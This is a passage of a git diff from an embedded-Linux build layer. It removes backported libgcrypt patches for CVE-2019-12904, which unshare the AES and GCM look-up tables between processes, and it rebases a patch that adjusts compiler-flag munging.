@@ -35,7 +35,7 @@ index 37dfbea2..3d2e90a8 100644
- fi
-
- use_gpgrt_config=""
-- if test x"${LIBGCRYPT_CONFIG}" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if test x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
- if $GPGRT_CONFIG libgcrypt --exists; then
- LIBGCRYPT_CONFIG="$GPGRT_CONFIG libgcrypt"
- AC_MSG_NOTICE([Use gpgrt-config as libgcrypt-config])
@@ -144,6 +144,3 @@ index 37dfbea2..3d2e90a8 100644
ifelse([$3], , :, [$3])
fi
AC_SUBST(LIBGCRYPT_CFLAGS)
---
-2.17.1
-
diff --git a/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch b/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch
deleted file mode 100644
index c82c5b5c8a..0000000000
--- a/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch
+++ /dev/null
@@ -1,332 +0,0 @@
-From 119348dd9aa52ab229afb5e2d3342d2b76fe81bf Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Fri, 31 May 2019 17:18:09 +0300
-Subject: [PATCH 2/3] AES: move look-up tables to .data section and unshare between
- processes
-
-* cipher/rijndael-internal.h (ATTR_ALIGNED_64): New.
-* cipher/rijndael-tables.h (encT): Move to 'enc_tables' structure.
-(enc_tables): New structure for encryption table with counters before
-and after.
-(encT): New macro.
-(dec_tables): Add counters before and after encryption table; Move
-from .rodata to .data section.
-(do_encrypt): Change 'encT' to 'enc_tables.T'.
-(do_decrypt): Change '&dec_tables' to 'dec_tables.T'.
-* cipher/cipher-gcm.c (prefetch_table): Make inline; Handle input
-with length not multiple of 256.
-(prefetch_enc, prefetch_dec): Modify pre- and post-table counters
-to unshare look-up table pages between processes.
---
-
-GnuPG-bug-id: 4541
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/daedbbb5541cd8ecda1459d3b843ea4d92788762]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/rijndael-internal.h | 4 +-
- cipher/rijndael-tables.h | 155 +++++++++++++++++++++++++--------------------
- cipher/rijndael.c | 35 ++++++++--
- 3 files changed, 118 insertions(+), 76 deletions(-)
-
-diff --git a/cipher/rijndael-internal.h b/cipher/rijndael-internal.h
-index 160fb8c..a62d4b7 100644
---- a/cipher/rijndael-internal.h
-+++ b/cipher/rijndael-internal.h
-@@ -29,11 +29,13 @@
- #define BLOCKSIZE (128/8)
-
-
--/* Helper macro to force alignment to 16 bytes. */
-+/* Helper macro to force alignment to 16 or 64 bytes. */
- #ifdef HAVE_GCC_ATTRIBUTE_ALIGNED
- # define ATTR_ALIGNED_16 __attribute__ ((aligned (16)))
-+# define ATTR_ALIGNED_64 __attribute__ ((aligned (64)))
- #else
- # define ATTR_ALIGNED_16
-+# define ATTR_ALIGNED_64
- #endif
-
-
-diff --git a/cipher/rijndael-tables.h b/cipher/rijndael-tables.h
-index 8359470..b54d959 100644
---- a/cipher/rijndael-tables.h
-+++ b/cipher/rijndael-tables.h
-@@ -21,80 +21,98 @@
- /* To keep the actual implementation at a readable size we use this
- include file to define the tables. */
-
--static const u32 encT[256] =
-+static struct
-+{
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
-+ u32 T[256];
-+ volatile u32 counter_tail;
-+} enc_tables ATTR_ALIGNED_64 =
- {
-- 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6,
-- 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591,
-- 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56,
-- 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec,
-- 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,
-- 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb,
-- 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45,
-- 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b,
-- 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c,
-- 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,
-- 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9,
-- 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a,
-- 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d,
-- 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f,
-- 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,
-- 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea,
-- 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,
-- 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b,
-- 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,
-- 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,
-- 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,
-- 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6,
-- 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,
-- 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85,
-- 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,
-- 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511,
-- 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,
-- 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b,
-- 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,
-- 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,
-- 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,
-- 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf,
-- 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3,
-- 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e,
-- 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,
-- 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6,
-- 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3,
-- 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b,
-- 0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428,
-- 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,
-- 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14,
-- 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8,
-- 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4,
-- 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2,
-- 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,
-- 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949,
-- 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf,
-- 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810,
-- 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c,
-- 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,
-- 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e,
-- 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f,
-- 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc,
-- 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c,
-- 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,
-- 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27,
-- 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122,
-- 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433,
-- 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9,
-- 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,
-- 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a,
-- 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0,
-- 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e,
-- 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c
-+ 0,
-+ { 0, },
-+ {
-+ 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6,
-+ 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591,
-+ 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56,
-+ 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec,
-+ 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,
-+ 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb,
-+ 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45,
-+ 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b,
-+ 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c,
-+ 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,
-+ 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9,
-+ 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a,
-+ 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d,
-+ 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f,
-+ 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,
-+ 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea,
-+ 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,
-+ 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b,
-+ 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,
-+ 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,
-+ 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,
-+ 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6,
-+ 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,
-+ 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85,
-+ 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,
-+ 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511,
-+ 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,
-+ 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b,
-+ 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,
-+ 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,
-+ 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,
-+ 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf,
-+ 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3,
-+ 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e,
-+ 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,
-+ 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6,
-+ 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3,
-+ 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b,
-+ 0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428,
-+ 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,
-+ 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14,
-+ 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8,
-+ 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4,
-+ 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2,
-+ 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,
-+ 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949,
-+ 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf,
-+ 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810,
-+ 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c,
-+ 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,
-+ 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e,
-+ 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f,
-+ 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc,
-+ 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c,
-+ 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,
-+ 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27,
-+ 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122,
-+ 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433,
-+ 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9,
-+ 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,
-+ 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a,
-+ 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0,
-+ 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e,
-+ 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c
-+ },
-+ 0
- };
-
--static const struct
-+#define encT enc_tables.T
-+
-+static struct
- {
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
- u32 T[256];
- byte inv_sbox[256];
--} dec_tables =
-+ volatile u32 counter_tail;
-+} dec_tables ATTR_ALIGNED_64 =
- {
-+ 0,
-+ { 0, },
- {
- 0x50a7f451, 0x5365417e, 0xc3a4171a, 0x965e273a,
- 0xcb6bab3b, 0xf1459d1f, 0xab58faac, 0x9303e34b,
-@@ -194,7 +212,8 @@ static const struct
- 0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,
- 0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,
- 0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d
-- }
-+ },
-+ 0
- };
-
- #define decT dec_tables.T
-diff --git a/cipher/rijndael.c b/cipher/rijndael.c
-index 8637195..d0edab2 100644
---- a/cipher/rijndael.c
-+++ b/cipher/rijndael.c
-@@ -227,11 +227,11 @@ static const char *selftest(void);
-
-
- /* Prefetching for encryption/decryption tables. */
--static void prefetch_table(const volatile byte *tab, size_t len)
-+static inline void prefetch_table(const volatile byte *tab, size_t len)
- {
- size_t i;
-
-- for (i = 0; i < len; i += 8 * 32)
-+ for (i = 0; len - i >= 8 * 32; i += 8 * 32)
- {
- (void)tab[i + 0 * 32];
- (void)tab[i + 1 * 32];
-@@ -242,17 +242,37 @@ static void prefetch_table(const volatile byte *tab, size_t len)
- (void)tab[i + 6 * 32];
- (void)tab[i + 7 * 32];
- }
-+ for (; i < len; i += 32)
-+ {
-+ (void)tab[i];
-+ }
-
- (void)tab[len - 1];
- }
-
- static void prefetch_enc(void)
- {
-- prefetch_table((const void *)encT, sizeof(encT));
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ enc_tables.counter_head++;
-+ enc_tables.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
-+ prefetch_table((const void *)&enc_tables, sizeof(enc_tables));
- }
-
- static void prefetch_dec(void)
- {
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ dec_tables.counter_head++;
-+ dec_tables.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
- prefetch_table((const void *)&dec_tables, sizeof(dec_tables));
- }
-
-@@ -737,7 +757,7 @@ do_encrypt (const RIJNDAEL_context *ctx,
- #ifdef USE_AMD64_ASM
- # ifdef HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS
- return _gcry_aes_amd64_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds,
-- encT);
-+ enc_tables.T);
- # else
- /* Call SystemV ABI function without storing non-volatile XMM registers,
- * as target function does not use vector instruction sets. */
-@@ -757,7 +777,8 @@ do_encrypt (const RIJNDAEL_context *ctx,
- return ret;
- # endif /* HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS */
- #elif defined(USE_ARM_ASM)
-- return _gcry_aes_arm_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds, encT);
-+ return _gcry_aes_arm_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds,
-+ enc_tables.T);
- #else
- return do_encrypt_fn (ctx, bx, ax);
- #endif /* !USE_ARM_ASM && !USE_AMD64_ASM*/
-@@ -1120,7 +1141,7 @@ do_decrypt (const RIJNDAEL_context *ctx, unsigned char *bx,
- #ifdef USE_AMD64_ASM
- # ifdef HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS
- return _gcry_aes_amd64_decrypt_block(ctx->keyschdec, bx, ax, ctx->rounds,
-- &dec_tables);
-+ dec_tables.T);
- # else
- /* Call SystemV ABI function without storing non-volatile XMM registers,
- * as target function does not use vector instruction sets. */
-@@ -1141,7 +1162,7 @@ do_decrypt (const RIJNDAEL_context *ctx, unsigned char *bx,
- # endif /* HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS */
- #elif defined(USE_ARM_ASM)
- return _gcry_aes_arm_decrypt_block(ctx->keyschdec, bx, ax, ctx->rounds,
-- &dec_tables);
-+ dec_tables.T);
- #else
- return do_decrypt_fn (ctx, bx, ax);
- #endif /*!USE_ARM_ASM && !USE_AMD64_ASM*/
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch b/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
index d7554f38af..cf9ebfb3e6 100644
--- a/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
+++ b/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
@@ -1,7 +1,7 @@
-From 97570ef271ea1fb7b5ca903eec88f68407b0ec76 Mon Sep 17 00:00:00 2001
+From 0f66e796a8522e1043dda03b88d5f6feae839d16 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Wed, 16 Aug 2017 10:44:41 +0800
-Subject: [PATCH 2/4] libgcrypt: fix building error with '-O2' in sysroot path
+Subject: [PATCH] libgcrypt: fix building error with '-O2' in sysroot path
Upstream-Status: Pending
@@ -19,23 +19,21 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
Rebase to 1.8.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
cipher/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/cipher/Makefile.am b/cipher/Makefile.am
-index 95c4510..bd52ec7 100644
+index c3d642b..88c883a 100644
--- a/cipher/Makefile.am
+++ b/cipher/Makefile.am
-@@ -116,7 +116,7 @@ gost-s-box: gost-s-box.c
+@@ -153,7 +153,7 @@ gost-s-box: gost-s-box.c
if ENABLE_O_FLAG_MUNGING
--o_flag_munging = sed -e 's/-O\([2-9s][2-9s]*\)/-O1/' -e 's/-Ofast/-O1/g'
-+o_flag_munging = sed -e 's/ -O\([2-9s][2-9s]*\) / -O1 /' -e 's/ -Ofast / -O1 /g'
+-o_flag_munging = sed -e 's/-O\([2-9sgz][2-9sgz]*\)/-O1/' -e 's/-Ofast/-O1/g'
++o_flag_munging = sed -e 's/ -O\([2-9sgz][2-9sgz]*\) / -O1 /' -e 's/ -Ofast / -O1 /g'
else
o_flag_munging = cat
endif
---
-1.8.3.1
-
diff --git a/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch b/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch
deleted file mode 100644
index b580b7b13c..0000000000
--- a/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch
+++ /dev/null
@@ -1,178 +0,0 @@
-From a4c561aab1014c3630bc88faf6f5246fee16b020 Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Fri, 31 May 2019 17:27:25 +0300
-Subject: [PATCH 3/3] GCM: move look-up table to .data section and unshare
- between processes
-
-* cipher/cipher-gcm.c (ATTR_ALIGNED_64): New.
-(gcmR): Move to 'gcm_table' structure.
-(gcm_table): New structure for look-up table with counters before and
-after.
-(gcmR): New macro.
-(prefetch_table): Handle input with length not multiple of 256.
-(do_prefetch_tables): Modify pre- and post-table counters to unshare
-look-up table pages between processes.
---
-
-GnuPG-bug-id: 4541
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/a4c561aab1014c3630bc88faf6f5246fee16b020]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/cipher-gcm.c | 106 ++++++++++++++++++++++++++++++++++------------------
- 1 file changed, 70 insertions(+), 36 deletions(-)
-
-diff --git a/cipher/cipher-gcm.c b/cipher/cipher-gcm.c
-index 11f119a..194e2ec 100644
---- a/cipher/cipher-gcm.c
-+++ b/cipher/cipher-gcm.c
-@@ -30,6 +30,14 @@
- #include "./cipher-internal.h"
-
-
-+/* Helper macro to force alignment to 16 or 64 bytes. */
-+#ifdef HAVE_GCC_ATTRIBUTE_ALIGNED
-+# define ATTR_ALIGNED_64 __attribute__ ((aligned (64)))
-+#else
-+# define ATTR_ALIGNED_64
-+#endif
-+
-+
- #ifdef GCM_USE_INTEL_PCLMUL
- extern void _gcry_ghash_setup_intel_pclmul (gcry_cipher_hd_t c);
-
-@@ -83,40 +91,54 @@ ghash_armv7_neon (gcry_cipher_hd_t c, byte *result, const byte *buf,
-
-
- #ifdef GCM_USE_TABLES
--static const u16 gcmR[256] = {
-- 0x0000, 0x01c2, 0x0384, 0x0246, 0x0708, 0x06ca, 0x048c, 0x054e,
-- 0x0e10, 0x0fd2, 0x0d94, 0x0c56, 0x0918, 0x08da, 0x0a9c, 0x0b5e,
-- 0x1c20, 0x1de2, 0x1fa4, 0x1e66, 0x1b28, 0x1aea, 0x18ac, 0x196e,
-- 0x1230, 0x13f2, 0x11b4, 0x1076, 0x1538, 0x14fa, 0x16bc, 0x177e,
-- 0x3840, 0x3982, 0x3bc4, 0x3a06, 0x3f48, 0x3e8a, 0x3ccc, 0x3d0e,
-- 0x3650, 0x3792, 0x35d4, 0x3416, 0x3158, 0x309a, 0x32dc, 0x331e,
-- 0x2460, 0x25a2, 0x27e4, 0x2626, 0x2368, 0x22aa, 0x20ec, 0x212e,
-- 0x2a70, 0x2bb2, 0x29f4, 0x2836, 0x2d78, 0x2cba, 0x2efc, 0x2f3e,
-- 0x7080, 0x7142, 0x7304, 0x72c6, 0x7788, 0x764a, 0x740c, 0x75ce,
-- 0x7e90, 0x7f52, 0x7d14, 0x7cd6, 0x7998, 0x785a, 0x7a1c, 0x7bde,
-- 0x6ca0, 0x6d62, 0x6f24, 0x6ee6, 0x6ba8, 0x6a6a, 0x682c, 0x69ee,
-- 0x62b0, 0x6372, 0x6134, 0x60f6, 0x65b8, 0x647a, 0x663c, 0x67fe,
-- 0x48c0, 0x4902, 0x4b44, 0x4a86, 0x4fc8, 0x4e0a, 0x4c4c, 0x4d8e,
-- 0x46d0, 0x4712, 0x4554, 0x4496, 0x41d8, 0x401a, 0x425c, 0x439e,
-- 0x54e0, 0x5522, 0x5764, 0x56a6, 0x53e8, 0x522a, 0x506c, 0x51ae,
-- 0x5af0, 0x5b32, 0x5974, 0x58b6, 0x5df8, 0x5c3a, 0x5e7c, 0x5fbe,
-- 0xe100, 0xe0c2, 0xe284, 0xe346, 0xe608, 0xe7ca, 0xe58c, 0xe44e,
-- 0xef10, 0xeed2, 0xec94, 0xed56, 0xe818, 0xe9da, 0xeb9c, 0xea5e,
-- 0xfd20, 0xfce2, 0xfea4, 0xff66, 0xfa28, 0xfbea, 0xf9ac, 0xf86e,
-- 0xf330, 0xf2f2, 0xf0b4, 0xf176, 0xf438, 0xf5fa, 0xf7bc, 0xf67e,
-- 0xd940, 0xd882, 0xdac4, 0xdb06, 0xde48, 0xdf8a, 0xddcc, 0xdc0e,
-- 0xd750, 0xd692, 0xd4d4, 0xd516, 0xd058, 0xd19a, 0xd3dc, 0xd21e,
-- 0xc560, 0xc4a2, 0xc6e4, 0xc726, 0xc268, 0xc3aa, 0xc1ec, 0xc02e,
-- 0xcb70, 0xcab2, 0xc8f4, 0xc936, 0xcc78, 0xcdba, 0xcffc, 0xce3e,
-- 0x9180, 0x9042, 0x9204, 0x93c6, 0x9688, 0x974a, 0x950c, 0x94ce,
-- 0x9f90, 0x9e52, 0x9c14, 0x9dd6, 0x9898, 0x995a, 0x9b1c, 0x9ade,
-- 0x8da0, 0x8c62, 0x8e24, 0x8fe6, 0x8aa8, 0x8b6a, 0x892c, 0x88ee,
-- 0x83b0, 0x8272, 0x8034, 0x81f6, 0x84b8, 0x857a, 0x873c, 0x86fe,
-- 0xa9c0, 0xa802, 0xaa44, 0xab86, 0xaec8, 0xaf0a, 0xad4c, 0xac8e,
-- 0xa7d0, 0xa612, 0xa454, 0xa596, 0xa0d8, 0xa11a, 0xa35c, 0xa29e,
-- 0xb5e0, 0xb422, 0xb664, 0xb7a6, 0xb2e8, 0xb32a, 0xb16c, 0xb0ae,
-- 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
--};
-+static struct
-+{
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
-+ u16 R[256];
-+ volatile u32 counter_tail;
-+} gcm_table ATTR_ALIGNED_64 =
-+ {
-+ 0,
-+ { 0, },
-+ {
-+ 0x0000, 0x01c2, 0x0384, 0x0246, 0x0708, 0x06ca, 0x048c, 0x054e,
-+ 0x0e10, 0x0fd2, 0x0d94, 0x0c56, 0x0918, 0x08da, 0x0a9c, 0x0b5e,
-+ 0x1c20, 0x1de2, 0x1fa4, 0x1e66, 0x1b28, 0x1aea, 0x18ac, 0x196e,
-+ 0x1230, 0x13f2, 0x11b4, 0x1076, 0x1538, 0x14fa, 0x16bc, 0x177e,
-+ 0x3840, 0x3982, 0x3bc4, 0x3a06, 0x3f48, 0x3e8a, 0x3ccc, 0x3d0e,
-+ 0x3650, 0x3792, 0x35d4, 0x3416, 0x3158, 0x309a, 0x32dc, 0x331e,
-+ 0x2460, 0x25a2, 0x27e4, 0x2626, 0x2368, 0x22aa, 0x20ec, 0x212e,
-+ 0x2a70, 0x2bb2, 0x29f4, 0x2836, 0x2d78, 0x2cba, 0x2efc, 0x2f3e,
-+ 0x7080, 0x7142, 0x7304, 0x72c6, 0x7788, 0x764a, 0x740c, 0x75ce,
-+ 0x7e90, 0x7f52, 0x7d14, 0x7cd6, 0x7998, 0x785a, 0x7a1c, 0x7bde,
-+ 0x6ca0, 0x6d62, 0x6f24, 0x6ee6, 0x6ba8, 0x6a6a, 0x682c, 0x69ee,
-+ 0x62b0, 0x6372, 0x6134, 0x60f6, 0x65b8, 0x647a, 0x663c, 0x67fe,
-+ 0x48c0, 0x4902, 0x4b44, 0x4a86, 0x4fc8, 0x4e0a, 0x4c4c, 0x4d8e,
-+ 0x46d0, 0x4712, 0x4554, 0x4496, 0x41d8, 0x401a, 0x425c, 0x439e,
-+ 0x54e0, 0x5522, 0x5764, 0x56a6, 0x53e8, 0x522a, 0x506c, 0x51ae,
-+ 0x5af0, 0x5b32, 0x5974, 0x58b6, 0x5df8, 0x5c3a, 0x5e7c, 0x5fbe,
-+ 0xe100, 0xe0c2, 0xe284, 0xe346, 0xe608, 0xe7ca, 0xe58c, 0xe44e,
-+ 0xef10, 0xeed2, 0xec94, 0xed56, 0xe818, 0xe9da, 0xeb9c, 0xea5e,
-+ 0xfd20, 0xfce2, 0xfea4, 0xff66, 0xfa28, 0xfbea, 0xf9ac, 0xf86e,
-+ 0xf330, 0xf2f2, 0xf0b4, 0xf176, 0xf438, 0xf5fa, 0xf7bc, 0xf67e,
-+ 0xd940, 0xd882, 0xdac4, 0xdb06, 0xde48, 0xdf8a, 0xddcc, 0xdc0e,
-+ 0xd750, 0xd692, 0xd4d4, 0xd516, 0xd058, 0xd19a, 0xd3dc, 0xd21e,
